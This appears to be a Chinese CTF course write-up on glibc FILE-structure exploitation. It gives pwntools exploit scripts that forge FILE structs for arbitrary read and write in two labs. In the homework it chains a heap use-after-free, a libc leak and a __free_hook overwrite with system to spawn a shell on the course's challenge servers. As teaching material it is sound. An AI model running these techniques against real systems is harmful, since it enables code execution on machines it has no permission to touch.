[0x09] Pwn III

lecture: https://www.youtube.com/watch?v=_TYWsA8gEW0
slide: slide (Pwn-w1.pdf)

[LAB] FILE_AAR

題目

#include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <fcntl.h> char flag[0x10] = "FLAG{TEST}\n"; int main() { FILE *fp; char *buf; buf = malloc(0x10); fp = fopen("/tmp/meow", "w"); read(0, buf, 0x1000); fwrite(buf, 0x10, 1, fp); return 0; }

取得需要的記憶體位置

題目有開 -no-pie 所以 flag 放的地方不會變
:15 有個 bufoverflow
我們要寫道 fp 指的位置
所以需要 fpbuf 的相對位置
他們是相鄰 allocated 的
所以
fp=buf+chunksizebuf=buf+0x20

gdb 取得 flag 的位置
取得 fp buf 的相對位置
發現跟計算的結果一致

# since -no-pie
flag_addr = 0x404050

buf_relative_addr = 0x181e2a0
fp_relative_addr = 0x181e2c0

準備好 FILE structure

https://docs.pwntools.com/en/stable/filepointer.html
pwntools 有方便的東西可以用

fileStr = FileStructure() fileStr.flags = 0xfbad0800 # _IO_MAGIC | _IO_CURRENTLY_PUTTING fileStr.fileno = 0x1 # stdout fileStr._IO_write_base = flag_addr fileStr._IO_write_ptr = flag_addr + 0x10 fileStr._IO_write_end = 0 ### count = _IO_write_end - _IO_write_base < 0 fileStr._IO_read_end = fileStr._IO_write_base print(fileStr) payload = flat( b'A' * (fp_relative_addr - buf_relative_addr), bytes(fileStr), ) payload = payload[:-12*8] assert len(payload) <= 0x1000

:19 的地方是要把 fileStr 的後半部分 (fileno 後面) 處理掉
不處理掉的話會 Segmentation Fault
看起來是 pwntoolsFILE 預設值的問題
所以不要蓋到不需蓋過的地方就沒問題

{ flags: 0xfbad0800
 _IO_read_ptr: 0x0
 _IO_read_end: 0x404050
 _IO_read_base: 0x0
 _IO_write_base: 0x404050
 _IO_write_ptr: 0x404060
 _IO_write_end: 0x0
 _IO_buf_base: 0x0
 _IO_buf_end: 0x0
 _IO_save_base: 0x0
 _IO_backup_base: 0x0
 _IO_save_end: 0x0
 markers: 0x0
 chain: 0x0
 fileno: 0x1
 _flags2: 0x0
 _old_offset: 0xffffffffffffffff
 _cur_column: 0x0
 _vtable_offset: 0x0
 _shortbuf: 0x0
 unknown1: 0x0
 _lock: 0x0
 _offset: 0xffffffffffffffff
 _codecvt: 0x0
 _wide_data: 0x0
 unknown2: 0x0
 vtable: 0x0}

可以來看一下為何要這樣設

先來到 fwrite 的地方

_IO_fwrite

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

看到 :39 會進去 _IO_sputn (_IO_new_file_xsputn)

_IO_new_file_xsputn

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

到了 :1244 會進入 _IO_OVERFLOW (_IO_new_file_overflow)

_IO_new_file_overflow

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

:740 的地方
我們需要將 flag 設上 _IO_CURRENTLY_PUTTING
這樣可以阻止 buffer 的初始化
接著進入 :776_IO_do_write (_IO_new_do_write new_do_write)

new_do_write

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

可以看到我們只要想辦法走到 :449 就成功的呼叫到 _IO_SYSWRITE
這邊需要繞過 :441 的檢查
所以把 fp->_IO_read_end fp->_IO_write_base 射程一樣可以繞過
然後就是 _IO_SYSWRITE

FILE_AAR/exp.py
'''output
[+] Opening connection to edu-ctf.zoolab.org on port 10010: Done
[*] Switching to interactive mode
FLAG{QAQ...}
\x00\x00AAAAAAAAAAAAAAA[*] Got EOF while reading in interactive
'''

[LAB] FILE_AAW

題目

#include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <string.h> #include <fcntl.h> char flag[0x10] = "FLAG{TEST}\n"; char owo[] = "OWO!"; int main() { FILE *fp; char *buf; buf = malloc(0x10); fp = fopen("/tmp/meow", "r"); read(0, buf, 0x1000); fread(buf, 0x10, 1, fp); if (strcmp(owo, "OWO!") != 0) write(1, flag, sizeof(flag)); return 0; }

題目希望我們把 owo 的值寫成其他的值

取得 owo 位置及 buf fp 的相對位置

這題的 buf fp 的相對位置跟上一題的算法一樣
:17 有個 bufoverflow
我們要寫道 fp 指的位置
所以需要 fpbuf 的相對位置
他們是相鄰 allocated
所以
fp=buf+chunksizebuf=buf+0x20

取得 fp buf 的相對位置
發現跟計算的結果一致
跟實際跑起來的結果一致

因為 -no-pie 所以 owo 的位置是固定的
可以直接用讀出來的結果

# since -no-pie
owo_addr = 0x404070

buf_relative_addr = 0x1140290
fp_relative_addr = 0x11402c0

準備好 FILE structure

https://docs.pwntools.com/en/stable/filepointer.html
pwntools 有方便的東西可以用

fileStr = FileStructure() fileStr.flags = 0xfbad0000 # _IO_MAGIC fileStr._IO_buf_base = fileStr._IO_write_base = owo_addr fileStr._IO_buf_end = owo_addr + 0x10 fileStr._IO_read_ptr = fileStr._IO_read_end = 0 fileStr.fileno = 0 payload = flat( b'Y' * (fp_relative_addr - buf_relative_addr), bytes(fileStr), ) payload = payload[:-12*8] assert len(payload) <= 0x1000 # p = process('test/chal') p = remote('edu-ctf.zoolab.org', 10009) # gdb.attach(p) p.send(payload) p.interactive()
FILE_AAW/exp.py
'''output
root@0643124b43f1 ~/aaw# python3 exp.py
[+] Opening connection to edu-ctf.zoolab.org on port 10009: Done
[*] Switching to interactive mode
$ hello
$ hello
$ hellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohello
FLAG{sushi}
\x00\x00[*] Got EOF while reading in interactive
$  
'''

上面那些 hello 是要讓 __underflow 用到 EOF 為止
這樣才會跳出 fread
可以來看看為什麼要這樣設

fread (_IO_fread)

進入 :38 _IO_sgetn

_IO_file_xsgetn



如果 fp._IO_read_ptr fp._IO_read_end 都設成 0
:1293have 就會是 0
這樣可以防止進入 :1306 的地方 才不會動到題目的 buf
進入 :1322 __underflow

_IO_new_file_underflow


到了 :517 就到了我們要的 _IO_SYSREAD
就可以任意寫

不過回到 _IO_file_xsgetn 的時候又回一直回來
所以要寫到 :517count0 為止才會讓此 EOF 才會結束 _IO_file_xsgetn (:1322)

[HW] miniums

題目

#include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> struct User { char name[0x10]; int size; FILE *data; }; struct User *users[8]; static short int get_idx() { short int idx; printf("index\n> "); scanf("%hu", &idx); if (idx >= 8) printf("no, no ..."), exit(1); return idx; } static short int get_size() { short int size; printf("size\n> "); scanf("%hu", &size); if (size >= 0x200) printf("no, no ..."), exit(1); return size; } void add_user() { short int idx; idx = get_idx(); users[idx] = malloc(sizeof(*users[idx])); printf("username\n> "); read(0, users[idx]->name, 0x10); users[idx]->data = NULL; printf("success!\n"); } void edit_data() { short int idx; short int size; char *buf; idx = get_idx(); size = get_size(); if (users[idx]->data == NULL) users[idx]->data = tmpfile(); buf = malloc(size); read(0, buf, size); fwrite(buf, size, 1, users[idx]->data); printf("success!\n"); } void del_user() { short int idx; idx = get_idx(); if (users[idx]->data != NULL) fclose(users[idx]->data); free(users[idx]); printf("success!\n"); } void show_users() { char buf[0x200] = {}; for (int i = 0; i < 8; i++) { if (users[i] == NULL || users[i]->data == NULL) continue; printf("[%d] %s\ndata: ", i, users[i]->name); fseek(users[i]->data, 0, SEEK_SET); fread(buf, sizeof(buf), 1, users[i]->data); printf("%s\n", buf); } } int main() { char opt[2]; int power = 20; setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0); printf("**** [Mini] User Management System ****\n"); while (power) { power--; printf("1. add_user\n" "2. edit_data\n" "3. del_user\n" "4. show_users\n" "5. bye\n" "> "); read(0, opt, 2); switch (opt[0]) { case '1': add_user(); break; case '2': edit_data(); break; case '3': del_user(); break; case '4': show_users(); break; case '5': exit(0); } } printf("No... no power..., b..ye...\n"); return 0; }

觀察 heap

當我們進行以下動作之後

add_user(0, 'a'*0x10)
edit_data(0, 0x10, 'r'*0x10)
add_user(1, 'b'*0x10)

heap 的狀況會變為下圖

如果再執行

del_user(0)

利用 UAF 控制 FILE 結構

題目的 del_userUAF 的漏洞
:68 也有可以控制的 malloc
就來試著控制 FILE 看看吧

首先

add_user(0, 'A'*0x10) edit_data(0, 0x10, 'a'*0x10) add_user(1, 'B'*0x10) edit_data(1, 0x10, 'b'*0x10) add_user(2, 'C'*0x10) del_user(0) del_user(1) add_user(3, 'D'*0x09) edit_data(3, 0x1e0-0x08, 'hello')

可以由上圖看到我們第三步驟的 add_user 執行時
會動態分配 struct User
他會從先從 tcache 裡面找有沒有可用的區塊
這時候就會找到我們之前 deleteuser1 的位置把 user3 放上去 (根據 tcache FILO 的特性所以不會是拿 user0 的位置)

執行 edit_user(3)
我們故意把 bufchunksize 控制成跟 data (FILE) 一樣大
這樣 buf 在找空間的時候會進 tcache 看看有沒有這個大小的可用記憶體
就會找到原本 *users[0]->data 的地方(圖中紅色框框)
而我們能控制 buf
意思就是我們可以控制 *users[0]->data 也就是 FILE 的結構了

可以由下圖看到我們把 *users[0]->data 改成了 hello

取得 main_arena __free_hook system

這邊我們知道 del_user 的時候
fp 指向的 FILE 指向的那個大小 0x1011 的地方會進到 unsorted bin(前面圖片有)
意思是會有 FD BK 在那上面
而當 unsortedbin 只有放他一個的時候
FD BK 就會指向 main_arena
所以只要 leak 者個東西就好了
這邊採用下圖的方式

這樣來到最後一個 edit_user 的時候
buf (大小 0x10tcache 會找不到可用的地方
接著他就就會來 unsortedbin 找有沒有夠大的地方
就會找到前面進到 unsortedbin0x1011 大小的地方
個一塊夠大以會切上面的部分給 buf
所以會被配置到含有 FD BK 的地方(下圖黃色框框)
而此時 buf 大小開 0x10 我們只輸入 0x09p
這樣 buf 剩下的部分就會是一大部分的 BK
(因為 BK 的最後一位可能是 \x00 ,如果這樣後面的 printf 會把後面切掉所以要改掉)

buf 的內容:
FD______ BK______

輸入 0x09 個 p 之後
pppppppp pBK_____

然後 edit_user 的後面會把 buf 放進他的檔案裡
顯然的 BK 也會一起進去
之後只要 show_users BK 就會顯示出來了

有了這個就可以算出 system__free_hook 的位置了

leak_relative_addr = 0x00007f1e891a4200
freehook_relative_addr = 0x7f1e891a5e48
system_relative_addr = 0x7f1e89009290

leak_addr = (int.from_bytes(get_first_data_2(), 'big'))
system_addr = leak_addr+(system_relative_addr-leak_relative_addr)
freehook_addr = leak_addr+(freehook_relative_addr-leak_relative_addr)

system_addr = p64((system_addr), endian='big')
freehook_addr = p64(freehook_addr, endian='big')
leak_addr = p64(leak_addr, endian='big')

print(f'{system_addr = }')
print(f'{freehook_addr = }')
print(f'{leak_addr = }')

可以看到算出來的結果正確

AAW

這邊想要把 __free_hook 寫成 system
user2->name 設置成 /bin/sh\x00

這樣在 del_user 的時候
就等同於呼叫 system("/bin/sh\x00")

所以等下要用的 FileStructure 會設計成像下面那樣
上面的 [LAB] AAW 我們已經追過 fread 的流程
所以知道要設成下面這樣

fileStr = FileStructure()
fileStr.flags = 0xfbad0000 # _IO_MAGIC
fileStr._IO_buf_base = fileStr._IO_write_base = int.from_bytes(freehook_addr, 'big')
fileStr._IO_buf_end = int.from_bytes(freehook_addr, 'big') + 0x200
fileStr._IO_read_ptr = fileStr._IO_read_end = 0
fileStr.fileno = 0

Exploitation

把上面的手段串在一起
就可以來處理這個了
流程如下

A. 取得 __free_hook system

這邊上方已經說明過了
所以執行到 :13 的時候
user6FILE 就會有 BK
show_user() 就會把他顯示出來

print("Trying to get system_addr freehook_addr...") add_user(7, 'R'*0x09) edit_data(7, 0x10, 'a'*0x09) add_user(0, 'A'*0x09) del_user(7) leak_relative_addr = 0x00007f1e891a4200 freehook_relative_addr = 0x7f1e891a5e48 system_relative_addr = 0x7f1e89009290 add_user(6, 'S'*0x09) edit_data(6, 0x10, 'p'*0x09) leak_addr = (int.from_bytes(get_first_data_2(), 'big')) system_addr = leak_addr+(system_relative_addr-leak_relative_addr) freehook_addr = leak_addr+(freehook_relative_addr-leak_relative_addr)
B. 偽造 FILE 結構

這邊上方也說明過了
執行過後 *users[0]->data 會變成我們精心設計的 FILE

print("Trying to fake file structure... *users[0]->data") edit_data(0, 0x10, 'a'*0x09) add_user(1, 'B'*0x09) edit_data(1, 0x10, '/bin/sh\x00') add_user(2, '/bin/sh\x00') del_user(0) del_user(1) fileStr = FileStructure() fileStr.flags = 0xfbad0000 # _IO_MAGIC fileStr._IO_buf_base = fileStr._IO_write_base = int.from_bytes(freehook_addr, 'big') fileStr._IO_buf_end = int.from_bytes(freehook_addr, 'big') + 0x200 fileStr._IO_read_ptr = fileStr._IO_read_end = 0 fileStr.fileno = 0 print(fileStr) payload = bytes(fileStr) payload = payload[:-12*8] add_user(3, '/bin/sh\x00') edit_data(3, 0x1e0-0x08, payload)
C. 呼叫 fread

到目前為止我們已經控制了 fread 的執行流程
現在只差呼叫 fread
show_users() 裡面會呼叫 fread 所以來呼叫他
呼叫之後會從 stdin 把資料讀進 __free_hook (這是我們所控制的執行流程)
這時候就讀進 system 的位置

print("Trying to call fread()...") show_users() payload = system_addr # since buf size is 0x200 # we need to send until __underflow EOF for i in range(0x200 // 0x8): r.send(payload[::-1])
D. 觸發 system("/bin/sh\x00")

此時的 __free_hook 已經是 system
user2 則會是 "/bin/sh\x00" (上面設的)
所以執行 free(user2) 的時候等同於執行 system("/bin/sh\x00")

del_user(2) r.interactive()

然後就有 shell
直接來收 flag

miniums/exp.py
'''output
$ cat /home/chal/flag
FLAG{Toyz_4y2m_QQ_6a61c7e00afda47e65f4aaedc62e4fdc}
'''